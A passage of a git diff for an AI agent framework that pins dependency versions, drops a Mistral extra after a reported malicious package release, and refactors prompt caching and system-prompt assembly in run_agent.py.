["daytona==0.155.0"] +vercel = ["vercel==0.5.7"] +hindsight = ["hindsight-client==0.6.1"] +dev = ["debugpy==1.8.20", "pytest==9.0.2", "pytest-asyncio==1.3.0", "pytest-xdist==3.8.0", "pytest-split==0.11.0", "mcp==1.26.0", "ty==0.0.21", "ruff==0.15.10"] +messaging = ["python-telegram-bot[webhooks]==22.6", "discord.py[voice]==2.7.1", "aiohttp==3.13.3", "slack-bolt==1.27.0", "slack-sdk==3.40.1", "qrcode==7.4.2"] cron = [] # croniter is now a core dependency; this extra kept for back-compat -slack = ["slack-bolt>=1.18.0,<2", "slack-sdk>=3.27.0,<4"] -matrix = ["mautrix[encryption]>=0.20,<1", "Markdown>=3.6,<4", "aiosqlite>=0.20", "asyncpg>=0.29", "aiohttp-socks>=0.10,<1"] -cli = ["simple-term-menu>=1.0,<2"] -tts-premium = ["elevenlabs>=1.0,<2"] +slack = ["slack-bolt==1.27.0", "slack-sdk==3.40.1"] +matrix = ["mautrix[encryption]==0.21.0", "Markdown==3.10.2", "aiosqlite==0.22.1", "asyncpg==0.31.0", "aiohttp-socks==0.11.0"] +cli = ["simple-term-menu==1.6.6"] +tts-premium = ["elevenlabs==1.59.0"] voice = [ # Local STT pulls in wheel-only transitive deps (ctranslate2, onnxruntime), # so keep it out of the base install for source-build packagers like Homebrew. - "faster-whisper>=1.0.0,<2", - "sounddevice>=0.4.6,<1", - "numpy>=1.24.0,<3", + "faster-whisper==1.2.1", + "sounddevice==0.5.5", + "numpy==2.4.3", ] pty = [ - "ptyprocess>=0.7.0,<1; sys_platform != 'win32'", - "pywinpty>=2.0.0,<3; sys_platform == 'win32'", + "ptyprocess==0.7.0; sys_platform != 'win32'", + "pywinpty==2.0.15; sys_platform == 'win32'", ] -honcho = ["honcho-ai>=2.0.1,<3"] -mcp = ["mcp>=1.2.0,<2"] -homeassistant = ["aiohttp>=3.9.0,<4"] -sms = ["aiohttp>=3.9.0,<4"] +honcho = ["honcho-ai==2.0.1"] +mcp = ["mcp==1.26.0"] +homeassistant = ["aiohttp==3.13.3"] +sms = ["aiohttp==3.13.3"] # Computer use — macOS background desktop control via cua-driver (MCP stdio). # The cua-driver binary itself is installed via `hermes tools` post-setup # (curl install script); this extra just pins the MCP client used to talk # to it, which is already provided by the `mcp` extra. -computer-use = ["mcp>=1.2.0,<2"] -acp = ["agent-client-protocol>=0.9.0,<1.0"] -mistral = ["mistralai>=2.3.0,<3"] -bedrock = ["boto3>=1.35.0,<2"] +computer-use = ["mcp==1.26.0"] +acp = ["agent-client-protocol==0.9.0"] +# mistral: extra REMOVED 2026-05-12 — `mistralai` PyPI project quarantined +# after malicious 2.4.6 release (Mini Shai-Hulud worm). Every version of +# `mistralai` returns 404 on PyPI right now, so any pin we'd write is +# unresolvable, which breaks `uv lock --check` in CI. +# +# To restore once PyPI un-quarantines: +# 1. Verify the new release is clean (read the changelog, check Socket +# advisory page, confirm no malicious code review findings). +# 2. Add back: mistral = ["mistralai=="] +# 3. Re-enable Mistral in: +# - tools/lazy_deps.py (LAZY_DEPS["tts.mistral"], LAZY_DEPS["stt.mistral"]) +# - hermes_cli/tools_config.py (un-hide from provider picker) +# - hermes_cli/web_server.py (re-add to dashboard STT options) +# - tools/transcription_tools.py / tools/tts_tool.py (drop disabled stubs) +# 4. Run `uv lock` to regenerate transitives. +# 5. Optionally re-add to [all] only after a few days of clean operation. +bedrock = ["boto3==1.42.89"] termux = [ # Baseline Android / Termux path for reliable fresh installs. - "python-telegram-bot[webhooks]>=22.6,<23", + "python-telegram-bot[webhooks]==22.6", "hermes-agent[cron]", "hermes-agent[cli]", "hermes-agent[pty]", @@ -111,41 +150,50 @@ termux-all = [ "hermes-agent[dingtalk]", "hermes-agent[feishu]", "hermes-agent[google]", - "hermes-agent[mistral]", + # mistral: omitted from broad termux-all profile — `mistralai` PyPI package + # is currently quarantined (malicious 2.4.6 release). Users who explicitly + # want Voxtral STT/TTS can still `pip install hermes-agent[mistral]` + # directly once PyPI un-quarantines. "hermes-agent[bedrock]", "hermes-agent[homeassistant]", "hermes-agent[sms]", "hermes-agent[web]", ] -dingtalk = ["dingtalk-stream>=0.20,<1", "alibabacloud-dingtalk>=2.0.0", "qrcode>=7.0,<8"] -feishu = ["lark-oapi>=1.5.3,<2", "qrcode>=7.0,<8"] +dingtalk = ["dingtalk-stream==0.24.3", "alibabacloud-dingtalk==2.2.42", "qrcode==7.4.2"] +feishu = ["lark-oapi==1.5.3", "qrcode==7.4.2"] google = [ # Required by the google-workspace skill (Gmail, Calendar, Drive, Contacts, # Sheets, Docs). Declared here so packagers (Nix, Homebrew) ship them with # the [all] extra and users don't hit runtime `pip install` paths that fail # in environments without pip (e.g. Nix-managed Python). - "google-api-python-client>=2.100,<3", - "google-auth-oauthlib>=1.0,<2", - "google-auth-httplib2>=0.2,<1", + "google-api-python-client==2.194.0", + "google-auth-oauthlib==1.3.1", + "google-auth-httplib2==0.3.1", ] youtube = [ # Required by skills/media/youtube-content and # optional-skills/productivity/memento-flashcards (youtube_quiz.py). # Without this declaration uv sync omits the package and both skills fail # at first invocation with ModuleNotFoundError (issue #22243). - "youtube-transcript-api>=1.2.0", + "youtube-transcript-api==1.2.4", ] # `hermes dashboard` (localhost SPA + API). Not in core to keep the default install lean. -web = ["fastapi>=0.104.0,<1", "uvicorn[standard]>=0.24.0,<1"] +web = ["fastapi==0.133.1", "uvicorn[standard]==0.41.0"] rl = [ "atroposlib @ git+https://github.com/NousResearch/atropos.git@c20c85256e5a45ad31edf8b7276e9c5ee1995a30", "tinker @ git+https://github.com/thinking-machines-lab/tinker.git@30517b667f18a3dfb7ef33fb56cf686d5820ba2b", - "fastapi>=0.104.0,<1", - "uvicorn[standard]>=0.24.0,<1", - "wandb>=0.15.0,<1", + "fastapi==0.133.1", + "uvicorn[standard]==0.41.0", + "wandb==0.25.1", ] yc-bench = ["yc-bench @ git+https://github.com/collinear-ai/yc-bench.git@bfb0c88062450f46341bd9a5298903fc2e952a5c ; python_version >= '3.12'"] all = [ + "hermes-agent[anthropic]", + "hermes-agent[exa]", + "hermes-agent[firecrawl]", + "hermes-agent[parallel-web]", + "hermes-agent[fal]", + "hermes-agent[edge-tts]", "hermes-agent[modal]", "hermes-agent[daytona]", "hermes-agent[vercel]", @@ -169,7 +217,11 @@ all = [ "hermes-agent[dingtalk]", "hermes-agent[feishu]", "hermes-agent[google]", - "hermes-agent[mistral]", + # mistral: omitted from [all] — `mistralai` PyPI package is currently + # quarantined (malicious 2.4.6 release on 2026-05-12). Pulling it from + # [all] would break every fresh install / AUR build / Docker build / CI + # run until PyPI un-quarantines. Users who explicitly want Voxtral STT/TTS + # can still `pip install hermes-agent[mistral]` once it's available again. "hermes-agent[bedrock]", "hermes-agent[web]", "hermes-agent[youtube]", diff --git a/rl_cli.py b/rl_cli.py index d494c1addb2a..e3996a29df69 100644 --- a/rl_cli.py +++ b/rl_cli.py @@ -392,7 +392,7 @@ def main( if not user_input: continue - if user_input.lower() in ('quit', 'exit', 'q'): + if user_input.lower() in {'quit', 'exit', 'q'}: print("\n👋 Goodbye!") break diff --git a/run_agent.py b/run_agent.py index 5fdb73487a3d..973f0d95d72e 100644 --- a/run_agent.py +++ b/run_agent.py @@ -539,7 +539,7 @@ def _trajectory_normalize_msg(msg: Dict[str, Any]) -> Dict[str, Any]: if isinstance(content, list): cleaned = [] for p in content: - if isinstance(p, dict) and p.get("type") in ("image", "image_url", "input_image"): + if isinstance(p, dict) and p.get("type") in {"image", "image_url", "input_image"}: cleaned.append({"type": "text", "text": "[screenshot]"}) else: cleaned.append(p) @@ -903,7 +903,7 @@ def _strip_images_from_messages(messages: list) -> bool: continue new_parts = [] for part in content: - if isinstance(part, dict) and part.get("type") in ("image_url", "image", "input_image"): + if isinstance(part, dict) and part.get("type") in {"image_url", "image", "input_image"}: found = True else: new_parts.append(part) @@ -1388,13 +1388,28 @@ def __init__( # 1h tier costs 2x on write vs 1.25x for 5m, but amortizes across long # sessions with >5-minute pauses between turns (#14971). self._cache_ttl = "5m" + # Long-lived prefix caching: when enabled and supported by the + # current provider, splits the system prompt into a stable prefix + # (cached cross-session at 1h TTL) and a volatile suffix + # (memory/timestamp — never cached), and attaches a 1h cache_control + # marker to the last tool in the schema array. Restricted to + # Claude on Anthropic / OpenRouter / Nous Portal; see + # ``_supports_long_lived_anthropic_cache``. + self._use_long_lived_prefix_cache = False + self._long_lived_cache_ttl = "1h" try: from hermes_cli.config import load_config as _load_pc_cfg _pc_cfg = _load_pc_cfg().get("prompt_caching", {}) or {} _ttl = _pc_cfg.get("cache_ttl", "5m") - if _ttl in ("5m", "1h"): + if _ttl in {"5m", "1h"}: self._cache_ttl = _ttl + _ll_enabled = _pc_cfg.get("long_lived_prefix", True) + _ll_ttl = _pc_cfg.get("long_lived_ttl", "1h") + if _ll_ttl in ("5m", "1h"): + self._long_lived_cache_ttl = _ll_ttl + if _ll_enabled and self._use_prompt_caching and self._supports_long_lived_anthropic_cache(): + self._use_long_lived_prefix_cache = True except Exception: pass @@ -1433,19 +1448,18 @@ def __init__( if self.verbose_logging: setup_verbose_logging() logger.info("Verbose logging enabled (third-party library logs suppressed)") - else: - if self.quiet_mode: - # In quiet mode (CLI default), keep console output clean — - # but DO NOT raise per-logger levels. Doing so prevents the - # root logger's file handlers (agent.log, errors.log) from - # ever seeing the records, because Python checks - # logger.isEnabledFor() before handler propagation. We rely - # on the fact that hermes_logging.setup_logging() does not - # install a console StreamHandler in quiet mode — so INFO - # records flow to the file handlers but never reach a - # console. Any future noise reduction belongs at the - # handler level inside hermes_logging.py, not here. - pass + elif self.quiet_mode: + # In quiet mode (CLI default), keep console output clean — + # but DO NOT raise per-logger levels. Doing so prevents the + # root logger's file handlers (agent.log, errors.log) from + # ever seeing the records, because Python checks + # logger.isEnabledFor() before handler propagation. We rely + # on the fact that hermes_logging.setup_logging() does not + # install a console StreamHandler in quiet mode — so INFO + # records flow to the file handlers but never reach a + # console. Any future noise reduction belongs at the + # handler level inside hermes_logging.py, not here. + pass # Internal stream callback (set during streaming TTS). # Initialized here so _vprint can reference it before run_conversation. @@ -1641,7 +1655,7 @@ def __init__( # but no credentials were found, fail fast with a clear # message instead of silently routing through OpenRouter. _explicit = (self.provider or "").strip().lower() - if _explicit and _explicit not in ("auto", "openrouter", "custom"): + if _explicit and _explicit not in {"auto", "openrouter", "custom"}: # Look up the actual env var name from the provider # config — some providers use non-standard names # (e.g. alibaba → DASHSCOPE_API_KEY, not ALIBABA_API_KEY). @@ -1823,7 +1837,20 @@ def __init__( timestamp_str = self.session_start.strftime("%Y%m%d_%H%M%S") short_uuid = uuid.uuid4().hex[:6] self.session_id = f"{timestamp_str}_{short_uuid}" - + + # Expose session ID to tools (terminal, execute_code) so agents can + # reference their own session for --resume commands, cross-session + # coordination, and logging. Uses the ContextVar system from + # session_context.py for concurrency safety (gateway runs multiple + # sessions in one process). Also writes os.environ as fallback for + # CLI mode where ContextVars aren't used. + os.environ["HERMES_SESSION_ID"] = self.session_id + try: + from gateway.session_context import _SESSION_ID + _SESSION_ID.set(self.session_id) + except Exception: + pass # CLI/test mode — ContextVar not needed + # Session logs go into ~/.hermes/sessions/ alongside gateway sessions hermes_home = get_hermes_home() self.logs_dir = hermes_home / "sessions" @@ -2011,8 +2038,7 @@ def __init__( try: _raw_api_retries = _agent_section.get("api_max_retries", 3) _api_retries = int(_raw_api_retries) - if _api_retries < 1: - _api_retries = 1 # 1 = no retry (single attempt) + _api_retries = max(_api_retries, 1) # 1 = no retry (single attempt) except (TypeError, ValueError): _api_retries = 3 self._api_max_retries = _api_retries @@ -2031,7 +2057,7 @@ def __init__( compression_threshold = _model_cthresh except Exception: pass - compression_enabled = str(_compression_cfg.get("enabled", True)).lower() in ("true", "1", "yes") + compression_enabled = str(_compression_cfg.get("enabled", True)).lower() in {"true", "1", "yes"} compression_target_ratio = float(_compression_cfg.get("target_ratio", 0.20)) compression_protect_last = int(_compression_cfg.get("protect_last_n", 20)) @@ -2388,6 +2414,7 @@ def __init__( "client_kwargs": dict(self._client_kwargs), "use_prompt_caching": self._use_prompt_caching, "use_native_cache_layout": self._use_native_cache_layout, + "use_long_lived_prefix_cache": self._use_long_lived_prefix_cache, # Context engine state that _try_activate_fallback() overwrites. # Use getattr for model/base_url/api_key/provider since plugin # engines may not have these (they're ContextCompressor-specific). @@ -2545,7 +2572,7 @@ def switch_model(self, new_model, new_provider, api_key='', base_url='', api_mod # tests) can't reintroduce the double-/v1 404 bug. if ( api_mode == "anthropic_messages" - and new_provider in ("opencode-zen", "opencode-go") + and new_provider in {"opencode-zen", "opencode-go"} and isinstance(base_url, str) and base_url ): @@ -2618,6 +2645,15 @@ def switch_model(self, new_model, new_provider, api_key='', base_url='', api_mod model=new_model, ) ) + self._use_long_lived_prefix_cache = bool( + self._use_prompt_caching + and self._supports_long_lived_anthropic_cache( + provider=new_provider, + base_url=self.base_url, + api_mode=api_mode, + model=new_model, + ) + ) # ── LM Studio: preload before probing context length ── self._ensure_lmstudio_runtime_loaded() @@ -2666,6 +2702,7 @@ def switch_model(self, new_model, new_provider, api_key='', base_url='', api_mod "client_kwargs": dict(self._client_kwargs), "use_prompt_caching": self._use_prompt_caching, "use_native_cache_layout": self._use_native_cache_layout, + "use_long_lived_prefix_cache": self._use_long_lived_prefix_cache, "compressor_model": getattr(_cc, "model", self.model) if _cc else self.model, "compressor_base_url": getattr(_cc, "base_url", self.base_url) if _cc else self.base_url, "compressor_api_key": getattr(_cc, "api_key", "") if _cc else "", @@ -3414,6 +3451,10 @@ def _anthropic_prompt_cache_policy( provider_lower = eff_provider.lower() is_claude = "claude" in model_lower is_openrouter = base_url_host_matches(eff_base_url, "openrouter.ai") + # Nous Portal proxies to OpenRouter behind the scenes — identical + # OpenAI-wire envelope cache_control semantics. Treat it as an + # OpenRouter-equivalent endpoint for caching layout purposes. + is_nous_portal = "nousresearch" in eff_base_url.lower() is_anthropic_wire = eff_api_mode == "anthropic_messages" is_native_anthropic = ( is_anthropic_wire @@ -3422,7 +3463,16 @@ def _anthropic_prompt_cache_policy( if is_native_anthropic: return True, True - if is_openrouter and is_claude: + if (is_openrouter or is_nous_portal) and is_claude: + return True, False + # Nous Portal Qwen (e.g. qwen3.6-plus) takes the same envelope-layout + # cache_control path as Portal Claude. Portal proxies to OpenRouter + # and the upstream Qwen route accepts cache_control markers; without + # this branch the alibaba-family check below only matches + # provider=opencode/alibaba and Portal traffic falls through to + # (False, False), serving 0% cache hits and re-billing the full + # prompt on every turn. + if is_nous_portal and "qwen" in model_lower: return True, False if is_anthropic_wire and is_claude: # Third-party Anthropic-compatible gateway. @@ -3463,6 +3513,73 @@ def _anthropic_prompt_cache_policy( return False, False + def _supports_long_lived_anthropic_cache( + self, + *, + provider: Optional[str] = None, + base_url: Optional[str] = None, + api_mode: Optional[str] = None, + model: Optional[str] = None, + ) -> bool: + """Decide whether the long-lived (1h cross-session) cache layout applies. + + Narrower than ``_anthropic_prompt_cache_policy`` — only enabled + for Claude models on the four endpoints whose cross-session + cache_control behavior we have explicitly validated: + + * Native Anthropic API (``api_mode == 'anthropic_messages'`` + + host ``api.anthropic.com``) + * Anthropic OAuth subscription (same transport as native API) + * OpenRouter (``base_url`` contains ``openrouter.ai``) + * Nous Portal (``base_url`` contains ``nousresearch`` — proxies + to OpenRouter, so identical wire-format) + + All four honour ``cache_control`` on both the tools array and the + first system content block, and bill cross-session cache reads at + the documented 0.1× rate. + + Other endpoints covered by the standard ``system_and_3`` policy + (third-party Anthropic gateways, MiniMax, opencode-go Qwen, etc.) + keep that layout — they support cache_control but their behavior + with mixed-TTL multi-block system content has not been validated + against this codebase. + """ + eff_provider = (provider if provider is not None else self.provider) or "" + eff_base_url = base_url if base_url is not None else (self.base_url or "") + eff_api_mode = api_mode if api_mode is not None else (self.api_mode or "") + eff_model = (model if model is not None else self.model) or "" + + model_lower = eff_model.lower() + is_claude = "claude" in model_lower + is_nous_portal = "nousresearch" in eff_base_url.lower() + + # Nous Portal: Claude AND Qwen both get long-lived caching. + # Portal proxies to OpenRouter with identical cache_control + # semantics; any model on Portal that accepts envelope-layout + # markers via _anthropic_prompt_cache_policy also benefits from + # the documented 1h cross-session TTL. + if is_nous_portal and (is_claude or "qwen" in model_lower): + return True + + if not is_claude: + return False + + # Native Anthropic + Anthropic OAuth subscription + if eff_api_mode == "anthropic_messages": + if eff_provider == "anthropic" or base_url_hostname(eff_base_url) == "api.anthropic.com": + return True + + # OpenRouter + if base_url_host_matches(eff_base_url, "openrouter.ai"): + return True + + # Nous Portal — front-ends OpenRouter behind the scenes; identical + # wire format and cache_control semantics. + if is_nous_portal: + return True + + return False + @staticmethod def _model_requires_responses_api(model: str) -> bool: """Return True for models that require the Responses API path. @@ -4282,7 +4399,7 @@ def _build_memory_write_metadata( metadata["task_id"] = task_id if tool_call_id: metadata["tool_call_id"] = tool_call_id - return {k: v for k, v in metadata.items() if v not in (None, "")} + return {k: v for k, v in metadata.items() if v not in {None, ""}} def _apply_persist_user_message_override(self, messages: List[Dict]) -> None: """Rewrite the current-turn user message before persistence/return. @@ -4496,7 +4613,7 @@ def _flush_messages_to_session_db(self, messages: List[Dict], conversation_histo for p in content: if isinstance(p, dict) and p.get("type") == "text": _txt.append(str(p.get("text", ""))) - elif isinstance(p, dict) and p.get("type") in ("image", "image_url", "input_image"): + elif isinstance(p, dict) and p.get("type") in {"image", "image_url", "input_image"}: _txt.append("[screenshot]") content = "\n".join(_txt) if _txt else None tool_calls_data = None @@ -4855,11 +4972,11 @@ def _extract_api_error_context(error: Exception) -> Dict[str, Any]: context["message"] = message.strip() for key in ("resets_at", "reset_at"): value = payload.get(key) - if value not in (None, ""): + if value not in {None, ""}: context["reset_at"] = value break retry_after = payload.get("retry_after") - if retry_after not in (None, "") and "reset_at" not in context: + if retry_after not in {None, ""} and "reset_at" not in context: try: context["reset_at"] = time.time() + float(retry_after) except (TypeError, ValueError): @@ -5610,22 +5727,33 @@ def is_interrupted(self) -> bool: - def _build_system_prompt(self, system_message: str = None) -> str: - """ - Assemble the full system prompt from all layers. - - Called once per session (cached on self._cached_system_prompt) and only - rebuilt after context compression events. This ensures the system prompt - is stable across all turns in a session, maximizing prefix cache hits. + def _build_system_prompt_parts(self, system_message: str = None) -> Dict[str, str]: + """Assemble the system prompt as three ordered parts. + + Returns a dict with three keys: + * ``stable`` — content that is byte-stable across sessions for a + given user config: identity, tool guidance, skills prompt, + environment hints, platform hints, model-family operational + guidance. Eligible for cross-session 1h prompt caching when + placed as a separate Anthropic content block (see + ``apply_anthropic_cache_control_long_lived``). + * ``context`` — context files (AGENTS.md, .cursorrules, etc.) and + caller-supplied system_message. Stable within a session but may + change between sessions when files are edited or the cwd + differs. Cached within-session via the rolling messages + breakpoint (5m TTL); not promoted to the long-lived tier so + edits don't poison the cross-session cache. + * ``volatile`` — content that changes on most turns/sessions: + memory snapshot, user profile, external memory provider block, + timestamp line. Never marked for caching. + + Joined ``stable\\n\\ncontext\\n\\nvolatile`` produces the same + logical content the old single-string builder produced, with the + guarantee that volatile content is at the end (cache-friendly + ordering for any provider that does prefix caching). """ - # Layers (in order): - # 1. Agent identity — SOUL.md when available, else DEFAULT_AGENT_IDENTITY - # 2. User / gateway system prompt (if provided) - # 3. Persistent memory (frozen snapshot) - # 4. Skills guidance (if skills tools are loaded) - # 5. Context files (AGENTS.md, .cursorrules — SOUL.md excluded here when used as identity) - # 6. Current date & time (frozen at build time) - # 7. Platform-specific formatting hint + # ── Stable tier ──────────────────────────────────────────────── + stable_parts: List[str] = [] # Try SOUL.md as primary identity unless the caller explicitly skipped it. # Some execution modes (cron) still want HERMES_HOME persona while keeping @@ -5634,15 +5762,15 @@ def _build_system_prompt(self, system_message: str = None) -> str: if self.load_soul_identity or not self.skip_context_files: _soul_content = load_soul_md() if _soul_content: - prompt_parts = [_soul_content] + stable_parts.append(_soul_content) _soul_loaded = True if not _soul_loaded: # Fallback to hardcoded identity - prompt_parts = [DEFAULT_AGENT_IDENTITY] + stable_parts.append(DEFAULT_AGENT_IDENTITY) # Pointer to the hermes-agent skill + docs for user questions about Hermes itself. - prompt_parts.append(HERMES_AGENT_HELP_GUIDANCE) + stable_parts.append(HERMES_AGENT_HELP_GUIDANCE) # Tool-aware behavioral guidance: only inject when the tools are loaded tool_guidance = [] @@ -5659,17 +5787,17 @@ def _build_system_prompt(self, system_message: str = None) -> str: if "kanban_show" in self.valid_tool_names: tool_guidance.append(KANBAN_GUIDANCE) if tool_guidance: - prompt_parts.append(" ".join(tool_guidance)) + stable_parts.append(" ".join(tool_guidance)) # Computer-use (macOS) — goes in as its own block rather than being # merged into tool_guidance because the content is multi-paragraph. if "computer_use" in self.valid_tool_names: from agent.prompt_builder import COMPUTER_USE_GUIDANCE - prompt_parts.append(COMPUTER_USE_GUIDANCE) + stable_parts.append(COMPUTER_USE_GUIDANCE) nous_subscription_prompt = build_nous_subscription_prompt(self.valid_tool_names) if nous_subscription_prompt: - prompt_parts.append(nous_subscription_prompt) + stable_parts.append(nous_subscription_prompt) # Tool-use enforcement: tells the model to actually call tools instead # of describing intended actions. Controlled by config.yaml # agent.tool_use_enforcement: @@ -5680,9 +5808,9 @@ def _build_system_prompt(self, system_message: str = None) -> str: if self.valid_tool_names: _enforce = self._tool_use_enforcement _inject = False - if _enforce is True or (isinstance(_enforce, str) and _enforce.lower() in ("true", "always", "yes", "on")): + if _enforce is True or (isinstance(_enforce, str) and _enforce.lower() in {"true", "always", "yes", "on"}): _inject = True - elif _enforce is False or (isinstance(_enforce, str) and _enforce.lower() in ("false", "never", "no", "off")): + elif _enforce is False or (isinstance(_enforce, str) and _enforce.lower() in {"false", "never", "no", "off"}): _inject = False elif isinstance(_enforce, list): model_lower = (self.model or "").lower() @@ -5692,43 +5820,16 @@ def _build_system_prompt(self, system_message: str = None) -> str: model_lower = (self.model or "").lower() _inject = any(p in model_lower for p in TOOL_USE_ENFORCEMENT_MODELS) if _inject: - prompt_parts.append(TOOL_USE_ENFORCEMENT_GUIDANCE) + stable_parts.append(TOOL_USE_ENFORCEMENT_GUIDANCE) _model_lower = (self.model or "").lower() # Google model operational guidance (conciseness, absolute # paths, parallel tool calls, verify-before-edit, etc.) if "gemini" in _model_lower or "gemma" in _model_lower: - prompt_parts.append(GOOGLE_MODEL_OPERATIONAL_GUIDANCE) + stable_parts.append(GOOGLE_MODEL_OPERATIONAL_GUIDANCE) # OpenAI GPT/Codex execution discipline (tool persistence, # prerequisite checks, verification, anti-hallucination). if "gpt" in _model_lower or "codex" in _model_lower: - prompt_parts.append(OPENAI_MODEL_EXECUTION_GUIDANCE) - - # so it can refer the user to them rather than reinventing answers. - - # Note: ephemeral_system_prompt is NOT included here. It's injected at - # API-call time only so it stays out of the cached/stored system prompt. - if system_message is not None: - prompt_parts.append(system_message) - - if self._memory_store: - if self._memory_enabled: - mem_block = self._memory_store.format_for_system_prompt("memory") - if mem_block: - prompt_parts.append(mem_block) - # USER.md is always included when enabled. - if self._user_profile_enabled: - user_block = self._memory_store.format_for_system_prompt("user") - if user_block: - prompt_parts.append(user_block) - - # External memory provider system prompt block (additive to built-in) - if self._memory_manager: - try: - _ext_mem_block = self._memory_manager.build_system_prompt() - if _ext_mem_block: - prompt_parts.append(_ext_mem_block) - except Exception: - pass + stable_parts.append(OPENAI_MODEL_EXECUTION_GUIDANCE) has_skills_tools = any(name in self.valid_tool_names for name in ['skills_list', 'skill_view', 'skill_manage']) if has_skills_tools: @@ -5746,36 +5847,16 @@ def _build_system_prompt(self, system_message: str = None) -> str: else: skills_prompt = "" if skills_prompt: - prompt_parts.append(skills_prompt) - - if not self.skip_context_files: - # Use TERMINAL_CWD for context file discovery when set (gateway - # mode). The gateway process runs from the hermes-agent install - # dir, so os.getcwd() would pick up the repo's AGENTS.md and - # other dev files — inflating token usage by ~10k for no benefit. - _context_cwd = os.getenv("TERMINAL_CWD") or None - context_files_prompt = build_context_files_prompt( - cwd=_context_cwd, skip_soul=_soul_loaded) - if context_files_prompt: - prompt_parts.append(context_files_prompt) - - from hermes_time import now as _hermes_now - now = _hermes_now() - timestamp_line = f"Conversation started: {now.strftime('%A, %B %d, %Y %I:%M %p')}" - if self.pass_session_id and self.session_id: - timestamp_line += f"\nSession ID: {self.session_id}" - if self.model: - timestamp_line += f"\nModel: {self.model}" - if self.provider: - timestamp_line += f"\nProvider: {self.provider}" - prompt_parts.append(timestamp_line) + stable_parts.append(skills_prompt) # Alibaba Coding Plan API always returns "glm-4.7" as model name regardless # of the requested model. Inject explicit model identity into the system prompt # so the agent can correctly report which model it is (workaround for API bug). + # Stable for the lifetime of an agent instance — model and provider are fixed + # at construction time. if self.provider == "alibaba": _model_short = self.model.split("/")[-1] if "/" in self.model else self.model - prompt_parts.append( + stable_parts.append( f"You are powered by the model named {_model_short}. " f"The exact model ID is {self.model}. " f"When asked what model you are, always answer based on this information, " @@ -5784,24 +5865,100 @@ def _build_system_prompt(self, system_message: str = None) -> str: # Environment hints (WSL, Termux, etc.) — tell the agent about the # execution environment so it can translate paths and adapt behavior. + # Stable for the lifetime of the process. _env_hints = build_environment_hints() if _env_hints: - prompt_parts.append(_env_hints) + stable_parts.append(_env_hints) platform_key = (self.platform or "").lower().strip() if platform_key in PLATFORM_HINTS: - prompt_parts.append(PLATFORM_HINTS[platform_key]) + stable_parts.append(PLATFORM_HINTS[platform_key]) elif platform_key: # Check plugin registry for platform-specific LLM guidance try: from gateway.platform_registry import platform_registry _entry = platform_registry.get(platform_key) if _entry and _entry.platform_hint: - prompt_parts.append(_entry.platform_hint) + stable_parts.append(_entry.platform_hint) except Exception: pass - return "\n\n".join(p.strip() for p in prompt_parts if p.strip()) + # ── Context tier (cwd-dependent, may change between sessions) ─ + context_parts: List[str] = [] + + # Note: ephemeral_system_prompt is NOT included here. It's injected at + # API-call time only so it stays out of the cached/stored system prompt. + if system_message is not None: + context_parts.append(system_message) + + if not self.skip_context_files: + # Use TERMINAL_CWD for context file discovery when set (gateway + # mode). The gateway process runs from the hermes-agent install + # dir, so os.getcwd() would pick up the repo's AGENTS.md and + # other dev files — inflating token usage by ~10k for no benefit. + _context_cwd = os.getenv("TERMINAL_CWD") or None + context_files_prompt = build_context_files_prompt( + cwd=_context_cwd, skip_soul=_soul_loaded) + if context_files_prompt: + context_parts.append(context_files_prompt) + + # ── Volatile tier (changes per session/turn — never cached) ─── + volatile_parts: List[str] = [] + + if self._memory_store: + if self._memory_enabled: + mem_block = self._memory_store.format_for_system_prompt("memory") + if mem_block: + volatile_parts.append(mem_block) + # USER.md is always included when enabled. + if self._user_profile_enabled: + user_block = self._memory_store.format_for_system_prompt("user") + if user_block: + volatile_parts.append(user_block) + + # External memory provider system prompt block (additive to built-in) + if self._memory_manager: + try: + _ext_mem_block = self._memory_manager.build_system_prompt() + if _ext_mem_block: + volatile_parts.append(_ext_mem_block) + except Exception: + pass + + from hermes_time import now as _hermes_now + now = _hermes_now() + timestamp_line = f"Conversation started: {now.strftime('%A, %B %d, %Y %I:%M %p')}" + if self.pass_session_id and self.session_id: + timestamp_line += f"\nSession ID: {self.session_id}" + if self.model: + timestamp_line += f"\nModel: {self.model}" + if self.provider: + timestamp_line += f"\nProvider: {self.provider}" + volatile_parts.append(timestamp_line) + + return { + "stable": "\n\n".join(p.strip() for p in stable_parts if p and p.strip()), + "context": "\n\n".join(p.strip() for p in context_parts if p and p.strip()), + "volatile": "\n\n".join(p.strip() for p in volatile_parts if p and p.strip()), + } + + def _build_system_prompt(self, system_message: str = None) -> str: + """ + Assemble the full system prompt from all layers. + + Called once per session (cached on self._cached_system_prompt) and only + rebuilt after context compression events. This ensures the system prompt + is stable across all turns in a session, maximizing prefix cache hits. + + Layers are ordered cache-friendly: stable identity/guidance first, + then session-stable context files, then per-call volatile content + (memory, USER profile, timestamp). The split is exposed via + ``_build_system_prompt_parts`` for the long-lived prompt-caching + path (Claude on Anthropic / OpenRouter / Nous Portal). + """ + parts = self._build_system_prompt_parts(system_message=system_message) + joined = "\n\n".join(p for p in (parts["stable"], parts["context"], parts["volatile"]) if p) + return joined # ========================================================================= # Pre/post-call guardrails (inspired by PR #1321 — @alireza78a) @@ -5937,7 +6094,7 @@ def _is_thinking_only_assistant(msg: Dict[str, Any]) -> bool: return False continue btype = block.get("type") - if btype in ("thinking", "redacted_thinking"): + if btype in {"thinking", "redacted_thinking"}: continue if btype == "text": text = block.get("text", "") @@ -6667,7 +6824,7 @@ def _run_codex_stream(self, api_kwargs: dict, client: Any = None, on_first_delta if done_item is not None: collected_output_items.append(done_item) # Log non-completed terminal events for diagnostics - elif event_type in ("response.incomplete", "response.failed"): + elif event_type in {"response.incomplete", "response.failed"}: resp_obj = getattr(event, "response", None) status = getattr(resp_obj, "status", None) if resp_obj else None incomplete_details = getattr(resp_obj, "incomplete_details", None) if resp_obj else None @@ -6769,7 +6926,7 @@ def _run_codex_create_stream_fallback(self, api_kwargs: dict, client: Any = None done_item = event.get("item") if done_item is not None: collected_output_items.append(done_item) - elif event_type in ("response.output_text.delta",): + elif event_type in {"response.output_text.delta",}: delta = getattr(event, "delta", "") if not delta and isinstance(event, dict): delta = event.get("delta", "") @@ -7065,7 +7222,7 @@ def _recover_with_credential_pool( effective_reason = FailoverReason.billing elif status_code == 429: effective_reason = FailoverReason.rate_limit - elif status_code in (401, 403): + elif status_code in {401, 403}: effective_reason = FailoverReason.auth if effective_reason == FailoverReason.billing: @@ -7728,24 +7885,23 @@ def _call_chat_completions(): _fire_first_delta() self._fire_stream_delta(delta.content) deltas_were_sent["yes"] = True - else: - # Tool calls suppress regular content streaming (avoids - # displaying chatty "I'll use the tool..." text alongside - # tool calls). But 